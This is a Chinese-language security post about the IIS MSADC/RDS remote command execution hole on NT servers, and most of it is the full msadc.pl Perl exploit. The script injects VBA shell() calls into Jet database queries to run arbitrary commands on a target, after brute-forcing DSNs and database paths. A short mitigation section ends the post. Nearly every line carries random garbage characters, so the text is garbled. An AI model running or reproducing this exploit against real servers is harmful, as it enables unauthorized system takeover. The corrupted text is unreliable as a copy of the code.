IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
:8| 3V~%m [#rdfN'?U
涉及程序：
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W5O Microsoft NT server
(xSi6EZ6; 8qYG l ew, 描述：
L\?g/l+k 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
|e; z"-3 GGQ(| ? w 详细：
=^AZx)K wd 如果你没有时间读详细内容的话，就删除:
+?txG HQq c:\Program Files\Common Files\System\Msadc\msadcs.dll
C\ >Mt 有关的安全问题就没有了。
3k[<4- -5_xI)i 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
2gR_1*| ~rJw$v 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
otH[?c?BT 关于利用ODBC远程漏洞的描述，请参看:
Q2pboZ86 1z@# 8_@ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm k|c0tvp YGp p:8pen 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
x7kg_`\U http://www.microsoft.com/security/bulletins/MS99-025faq.asp Jq<`j<'9 u.4vp]eU 这里不再论述。
|afK"N J8?6G&0H 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
'xXqEwi4 w |FV qX /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
QOy&!6 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
0i(?LI_S x|i3e& D QpTNU.v5f #将下面这段保存为txt文件，然后: "perl -x 文件名"
DMZ aMY| ${6' #!perl
gw"l& r #
=RE_Urt: # MSADC/RDS 'usage' (aka exploit) script
c7Qa !w #
Mciq9{8& # by rain.forest.puppy
i\4"FO?v #
+|)#yE$aMh # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
bY U+-|54 # beta test and find errors!
H^1 a3L] k3.p@8@: use Socket; use Getopt::Std;
$M< 4Bqr getopts("e:vd:h:XR", \%args);
j!o3g;j "LIii1]k print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
y-q?p qt o9d$
4s@/ if (!defined $args{h} && !defined $args{R}) {
;Hp' x_xQ print qq~
TdIFZ[<7 Usage: msadc.pl -h <host> { -d <delay> -X -v }
v oS"X
-h <host> = host you want to scan (ip or domain)
GJ_)Cl+5E -d <seconds> = delay between calls, default 1 second
~@?-|xLqQ -X = dump Index Server path table, if available
n)! _HNc9 -v = verbose
mXM>6>;y -e = external dictionary file for step 5
j/mp.'P1k +Q] 'kJ<s Or a -R will resume a command session
ugPI1'f tskODM0Zf ~; exit;}
&b")`p&K VEKITBs $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
#TwE??ms if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Q~!hr0
ZR if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
`v2l1CQ: ^ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
hg=G// $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
:bDn.`KG# if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
@M?EgVmW
QLU; .& if (!defined $args{R}){ $ret = &has_msadc;
.FRF<_`^ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
E!l1a5qB v+bjC print "Please type the NT commandline you want to run (cmd /c assumed):\n"
<+,0 G` . "cmd /c ";
HMd )64( $in=<STDIN>; chomp $in;
cP=mJ1 $command="cmd /c " . $in ;
+p6\R;_E CyDf[C)= if (defined $args{R}) {&load; exit;}
/l%q q*Ew l:,UN07s print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
B{(l 5B6 &try_btcustmr;
BQ0PV Nb^:_0&H@ print "\nStep 2: Trying to make our own DSN...";
&+^ Y>Ke &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
w=o m7%J@l -\C6j print "\nStep 3: Trying known DSNs...";
Qnx92 &known_dsn;
o xu9v/ K05Y;URbd print "\nStep 4: Trying known .mdbs...";
''E c-b6Q- &known_mdb;
)'|W [Sh? !Qa7- if (defined $args{e}){
|o)
_= Fx print "\nStep 5: Trying dictionary of DSN names...";
n(S-F g &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
me^Gk/`Em zN JyF;3 print "Sorry Charley...maybe next time?\n";
Vn; ] ''_ exit;
*sV xjZvV TFPq( i ##############################################################################
%k)I =| j&GKp t sub sendraw { # ripped and modded from whisker
K): sq{ sleep($delay); # it's a DoS on the server! At least on mine...
:#jv4N my ($pstr)=@_;
.cog9H ' socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
'p]qN;`'O$ die("Socket problems\n");
0\*<k`dY if(connect(S,pack "SnA4x8",2,80,$target)){
%$ ?Q% select(S); $|=1;
d's`~HOU2 print $pstr; my @in=<S>;
*3Z#r select(STDOUT); close(S);
tTp`e0L*m return @in;
X hV"<&v } else { die("Can't connect...\n"); }}
O#Hz5 A5 !iOu07<n&D ##############################################################################
+@7R,8 EA#!h'-s sub make_header { # make the HTTP request
L-gF$it\*b my $msadc=<<EOT
E |3aiC,5 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
(9|K}IM: User-Agent: ACTIVEDATA
^IkMRlJh% Host: $ip
yo6IY Content-Length: $clen
wuQkeWxJ Connection: Keep-Alive
7z&u92dJI `" Pd$jW ADCClientVersion:01.06
"ZW* O{ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
)\G#[Pc7 y-k-E/V} --!ADM!ROX!YOUR!WORLD!
vb!KuI!:p Content-Type: application/x-varg
bYH_U4b Content-Length: $reqlen
-v@^6bQVp k"zHrn"$ EOT
YaNVpLA ; $msadc=~s/\n/\r\n/g;
<qx-%6 return $msadc;}
O v6=|]cW Big-)7?
##############################################################################
J?$uNlI pl&GFf
o sub make_req { # make the RDS request
kk#d-!
$[ my ($switch, $p1, $p2)=@_;
,1L^#?Q~ my $req=""; my $t1, $t2, $query, $dsn;
;\.&FMi TA 7w:< if ($switch==1){ # this is the btcustmr.mdb query
i+3b)xtW7 $query="Select * from Customers where City=" . make_shell();
S/jHyJ, $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
oGJI3Oh $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
6fyW6xv[, ~'i uh>O) elsif ($switch==2){ # this is general make table query
HjD= .Q $query="create table AZZ (B int, C varchar(10))";
$y}Tbm $dsn="$p1";}
&LYZQ?| g' E^@1{ elsif ($switch==3){ # this is general exploit table query
/ KM+PeO $query="select * from AZZ where C=" . make_shell();
!<ucw WY, $dsn="$p1";}
tWI hbt
Y7HWf elsif ($switch==4){ # attempt to hork file info from index server
YN[ D^;} $query="select path from scope()";
' ?t{-z, $dsn="Provider=MSIDXS;";}
t-/^ O IRB;Q(Z
elsif ($switch==5){ # bad query
?zqXHv#x $query="select";
Gr ?gH AT $dsn="$p1";}
P6rL;_~e *L_wRhhk $t1= make_unicode($query);
'#?hm-Ga $t2= make_unicode($dsn);
'/?&Go l- $req = "\x02\x00\x03\x00";
u"ow ?[E $req.= "\x08\x00" . pack ("S1", length($t1));
3kg+*]tLx $req.= "\x00\x00" . $t1 ;
&(0);I@f c $req.= "\x08\x00" . pack ("S1", length($t2));
q~C6+ $req.= "\x00\x00" . $t2 ;
3:S "!F $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
up6LO7drW/ return $req;}
9A aixI 4 @h6|= ##############################################################################
$MHc4FE[ ww*F}}( sub make_shell { # this makes the shell() statement
M:N> {_1& return "'|shell(\"$command\")|'";}
UPsh Y : T2K\@ ##############################################################################
' WoX-y -v]
0@jNe sub make_unicode { # quick little function to convert to unicode
8~7EWl my ($in)=@_; my $out;
X.Kxio
$o for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
w *0T"hK return $out;}
h/ic-iH(> % '
Fc%3 ##############################################################################
y|Z J-[qg ?(N(8)G1 sub rdo_success { # checks for RDO return success (this is kludge)
j*n CIxF my (@in) = @_; my $base=content_start(@in);
6}0#({s:R if($in[$base]=~/multipart\/mixed/){
WqA P'x 1 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
S BA;p7^" return 0;}
E#OKeMK Z1zC@z4sUj ##############################################################################
}|;n[+ } }T6jQ:?@ sub make_dsn { # this makes a DSN for us
^`$KN0PY my @drives=("c","d","e","f");
$: -Ptm@ print "\nMaking DSN: ";
tW +I? foreach $drive (@drives) {
> :Ec print "$drive: ";
- J:vYhq|g my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
&o(?
}W
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
l6RJour . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
LQ._?35r $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
k5 8lmuU return 0 if $2 eq "404"; # not found/doesn't exist
MLJ8m if($2 eq "200") {
KW)yTE< foreach $line (@results) {
w t}a`hxu return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
zR:S.e< } return 0;}
%PQC9{hUy$ n*V^Q f ##############################################################################
7 @ZL(G /3fo=7G6 sub verify_exists {
k0,~wn\#h my ($page)=@_;
!Bd2$y. my @results=sendraw("GET $page HTTP/1.0\n\n");
/[mCK3_ return $results[0];}
Q8O38uZ *+iWB_ ##############################################################################
[@(zGb8 |h;MA,qva sub try_btcustmr {
FD8aO?wvg my @drives=("c","d","e","f");
E+_ }8J . my @dirs=("winnt","winnt35","winnt351","win","windows");
nWh?zf#{ Yq .Om r! foreach $dir (@dirs) {
yRAb
HG,c print "$dir -> "; # fun status so you can see progress
tcs
Z! # foreach $drive (@drives) {
YEGXhn5E print "$drive: "; # ditto
BZE19! $reqlen=length( make_req(1,$drive,$dir) ) - 28;
mu (S 9 $reqlenlen=length( "$reqlen" );
?/O +5rjA $clen= 206 + $reqlenlen + $reqlen;
/O ZF 3Pft $0WAhq my @results=sendraw(make_header() . make_req(1,$drive,$dir));
s%Z3Zj(,8( if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
mZORV3bN else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
,ihTEw,t( a/_ ` 1 ##############################################################################
bte e;3` .DT1Jvl sub odbc_error {
PR Y)hb;1 my (@in)=@_; my $base;
|_-FQ~Hf F my $base = content_start(@in);
&iuc4" ' if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
2o,%O91p $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^<<
Wqmx $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^LZU><{'; $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
" jy'Dpy0m return $in[$base+4].$in[$base+5].$in[$base+6];}
z19y > j print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
+* &!u=%G print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Ly3^zF W $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
X(/W|RY{@ #<) u%)` ##############################################################################
i~4:] r22 e-Eo e_k sub verbose {
o zv><e# my ($in)=@_;
Lq yY??\@ return if !$verbose;
_m@QeO'yh print STDOUT "\n$in\n";}
;i1H {hB : .@gd7T ##############################################################################
<^M`U> 1A zigd0% sub save {
l( "_JI my ($p1, $p2, $p3, $p4)=@_;
R# gip open(OUT, ">rds.save") || print "Problem saving parameters...\n";
)wAqaG_d print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
{>Zc#U' close OUT;}
]zu" x9-` Z$T1nm%lo: ##############################################################################
;]|Z8#s RTSg= sub load {
G<$ U cXg my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
JGJQ5zt open(IN,"<rds.save") || die("Couldn't open rds.save\n");
.HMO7n6)8l @p=<IN>; close(IN);
XjWoUnz $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
9Y~A2C $target= inet_aton($ip) || die("inet_aton problems");
JVU:`BH print "Resuming to $ip ...";
>0{ { loqq $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
" GgK,d}% if($p[1]==1) {
$/6.4" j $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
3:!+B=woR $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
\6*3&p my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
'Exj|Y& if (rdo_success(@results)){print "Success!\n";}
u=A&n6Q[Vo else { print "failed\n"; verbose(odbc_error(@results));}}
|nB2X;K5~ elsif ($p[1]==3){
\DpXs[1 if(run_query("$p[3]")){
:v=Yo print "Success!\n";} else { print "failed\n"; }}
<kt,aMw[* elsif ($p[1]==4){
(eSa{C\ if(run_query($drvst . "$p[3]")){
m>~%.
(/x print "Success!\n"; } else { print "failed\n"; }}
cs,%Zk.xjw exit;}
F+|zCE c ]7Tjt A.\q ##############################################################################
Wn< 3|`c ,qyH B2v sub create_table {
y$7<ZBG my ($in)=@_;
9)'L,Xt4:T $reqlen=length( make_req(2,$in,"") ) - 28;
In5' (UHW: $reqlenlen=length( "$reqlen" );
8I3"68 c_a $clen= 206 + $reqlenlen + $reqlen;
jCxw|tmgq my @results=sendraw(make_header() . make_req(2,$in,""));
<Jv %}r return 1 if rdo_success(@results);
ZEp UHdin my $temp= odbc_error(@results); verbose($temp);
IA! ( 'Ks return 1 if $temp=~/Table 'AZZ' already exists/;
7 i,}F|#8 return 0;}
sd
xl@ IZoa7S&t ##############################################################################
\5cAOBja nxw]B"Eg sub known_dsn {
Z25^+)uf*U # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
pS;jrq
I# my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
1 f).J "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Q&rpW:^v "banner", "banners", "ads", "ADCDemo", "ADCTest");
6M qJy6 \| R P-8 foreach $dSn (@dsns) {
J[ du>1D print ".";
Ns?y)
G>: next if (!is_access("DSN=$dSn"));
H"6Sj-<= if(create_table("DSN=$dSn")){
w-pdpbHV print "$dSn successful\n";
y7txIe!<5 if(run_query("DSN=$dSn")){
Q47Rriw print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
P SNfh7g print "Something's borked. Use verbose next time\n";}}} print "\n";}
]N,n7v+} $d'GCzYvZ ##############################################################################
cK"b0K/M?B #/\5a;Elc sub is_access {
|/ 5j0 my ($in)=@_;
f =B)jYI $reqlen=length( make_req(5,$in,"") ) - 28;
d~u+:[\=/ $reqlenlen=length( "$reqlen" );
)=8MO-{ $clen= 206 + $reqlenlen + $reqlen;
x!"S`AM my @results=sendraw(make_header() . make_req(5,$in,""));
qQv?J]l my $temp= odbc_error(@results);
R&PQU/t) verbose($temp); return 1 if ($temp=~/Microsoft Access/);
4Bsx[~ u& return 0;}
8xW_N"P.> Tl6%z9rY@ ##############################################################################
FhVi|V a -L}crQl.'c sub run_query {
hlWTsi4N my ($in)=@_;
Xkk m~sM6 $reqlen=length( make_req(3,$in,"") ) - 28;
:)_Ap{9J $reqlenlen=length( "$reqlen" );
X!Xl $clen= 206 + $reqlenlen + $reqlen;
2&S*> ( my @results=sendraw(make_header() . make_req(3,$in,""));
n(\5Z& return 1 if rdo_success(@results);
X!KjRP\\ my $temp= odbc_error(@results); verbose($temp);
iqW
T<WY return 0;}
l:5x*QSX UJ3l8
%/`k ##############################################################################
O'a
S rjl . gh3" sub known_mdb {
-}_- #L!Q my @drives=("c","d","e","f","g");
-SnP+X! my @dirs=("winnt","winnt35","winnt351","win","windows");
r~N0P|Tq my $dir, $drive, $mdb;
<05\ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
^N K B 8wKF.+_A # this is sparse, because I don't know of many
tG+ E'OP my @sysmdbs=( "\\catroot\\icatalog.mdb",
Q&S\?cKe "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
$y S7u "\\system32\\certmdb.mdb",
j?K]0j; "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
]~ iOO
%&R f^z/s6I0 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
S4 50 8l "\\cfusion\\cfapps\\forums\\forums_.mdb",
jl YnV/ ] "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
_1S^A0ft "\\cfusion\\cfapps\\security\\realm_.mdb",
O RAKg.49 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
of!Bz "\\cfusion\\database\\cfexamples.mdb",
SO^:6GuJ "\\cfusion\\database\\cfsnippets.mdb",
xj~5/)XX|X "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
H48`z'o "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
$\h\, N$y "\\cfusion\\brighttiger\\database\\cleam.mdb",
zcnp? % "\\cfusion\\database\\smpolicy.mdb",
[x Xa3W "\\cfusion\\database\cypress.mdb",
="hh=x.5J "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
fS+Ga1CsH "\\website\\cgi-win\\dbsample.mdb",
>jMq-#*4 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
i' aV=E 5 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
% 9B r ); #these are just
E(N?.i-%$ foreach $drive (@drives) {
Y).5(t7zaR foreach $dir (@dirs){
! c,= %4Pb foreach $mdb (@sysmdbs) {
z'OY6 print ".";
2YI#J.6]H if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
r*CI6yP print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
AdMA|!|:hc if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
N' [bA print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
jp?;8rS3 } else { print "Something's borked. Use verbose next time\n"; }}}}}
'S]7:/CI mv_N ns foreach $drive (@drives) {
X~wkqI#d%E foreach $mdb (@mdbs) {
JsAl;w print ".";
1ga.%M* if(create_table($drv . $drive . $dir . $mdb)){
c]3% wL print "\n" . $drive . $dir . $mdb . " successful\n";
p w(eWP if(run_query($drv . $drive . $dir . $mdb)){
r6k0=6i print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
HF>Gf2- C } else { print "Something's borked. Use verbose next time\n"; }}}}
=>Ss:SGjT }
Jv(9w[ H=b54.J8& ##############################################################################
e }>8rnR{ [ aC7 sub hork_idx {
8G@I e print "\nAttempting to dump Index Server tables...\n";
NGZEUtj print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
g$+u;ER5 $reqlen=length( make_req(4,"","") ) - 28;
?`T <
sk8c $reqlenlen=length( "$reqlen" );
:KY920/, $clen= 206 + $reqlenlen + $reqlen;
)*< =: my @results=sendraw2(make_header() . make_req(4,"",""));
$h"Ht2/ J if (rdo_success(@results)){
C Za Urr my $max=@results; my $c; my %d;
e vOy Tvc for($c=19; $c<$max; $c++){
qOOF]L9r%u $results[$c]=~s/\x00//g;
{hYH4 a&Hb $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
4pNIsjl} $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
G=?2{c}U $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
(3P kTQlE $d{"$1$2"}="";}
-XNjyXm2 foreach $c (keys %d){ print "$c\n"; }
{KkP"j'7h } else {print "Index server doesn't seem to be installed.\n"; }}
=[{YI2S 78a!@T1# ##############################################################################
"";[U W+N9~ .q\^ sub dsn_dict {
'@Oq WdaR open(IN, "<$args{e}") || die("Can't open external dictionary\n");
"o" ujQ(v while(<IN>){
4wfT8CL $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
/'vCO
|?L next if (!is_access("DSN=$dSn"));
uFxhr2
<z if(create_table("DSN=$dSn")){
: V16bRpjL print "$dSn successful\n";
zzmZ`Ya if(run_query("DSN=$dSn")){
EAiE@r>4 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
sbnNk(XINQ print "Something's borked. Use verbose next time\n";}}}
l -|hvv5g print "\n"; close(IN);}
oS3}xT "
U \Y;LbB8D
##############################################################################
s>y=-7:N AL*P 2 \8 sub sendraw2 { # ripped and modded from whisker
':al4m " sleep($delay); # it's a DoS on the server! At least on mine...
kT|{5Kn&s my ($pstr)=@_;
x0aPY;,N0 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
0a<:.} die("Socket problems\n");
?1%/G< if(connect(S,pack "SnA4x8",2,80,$target)){
8z,i/: print "Connected. Getting data";
}<?1\k open(OUT,">raw.out"); my @in;
9nW/ pv select(S); $|=1; print $pstr;
1e= <df while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
xDtq@Rb} close(OUT); select(STDOUT); close(S); return @in;
0sxZa+G0o } else { die("Can't connect...\n"); }}
[Y@?l]& +% yVW f ##############################################################################
!YUMAp/ #XSs.i{ sub content_start { # this will take in the server headers
cH$zDm1 my (@in)=@_; my $c;
/>1Ndj for ($c=1;$c<500;$c++) {
(S ~|hk^ if($in[$c] =~/^\x0d\x0a/){
43_;Z| T if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
0XwDk$l< else { return $c+1; }}}
We7~ tkl( return -1;} # it should never get here actually
]WLQ q4q m$glRs
@ ##############################################################################
o)w8 ]H / _3_d;j#G U sub funky {
4 yL C my (@in)=@_; my $error=odbc_error(@in);
Yr9>ATR if($error=~/ADO could not find the specified provider/){
Twscc "mK print "\nServer returned an ADO miscofiguration message\nAborting.\n";
c*0pF=3 exit;}
T(UdV]~]" if($error=~/A Handler is required/){
-9 Iz$ (>a print "\nServer has custom handler filters (they most likely are patched)\n";
xDRNt Lj<u exit;}
;Y:_}kN8_ if($error=~/specified Handler has denied Access/){
c,WRgXL print "\nServer has custom handler filters (they most likely are patched)\n";
P}=u8(u exit;}}
]7H ? $|0_[~0-n ##############################################################################
;^QG>OP$ j1{ @? sub has_msadc {
z\i z6-\&y my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
[Yt!uh ww my $base=content_start(@results);
?$ rSbw return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
2^-Z17Z} return 0;}
I'"b3]DXG Z< 7FF}i ########################
-w8c;5X \5g7_3,3W %;5AF8# c 解决方案：
OyTE d5\3 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
lZyxJDZ A 2、移除web 目录: /msadc
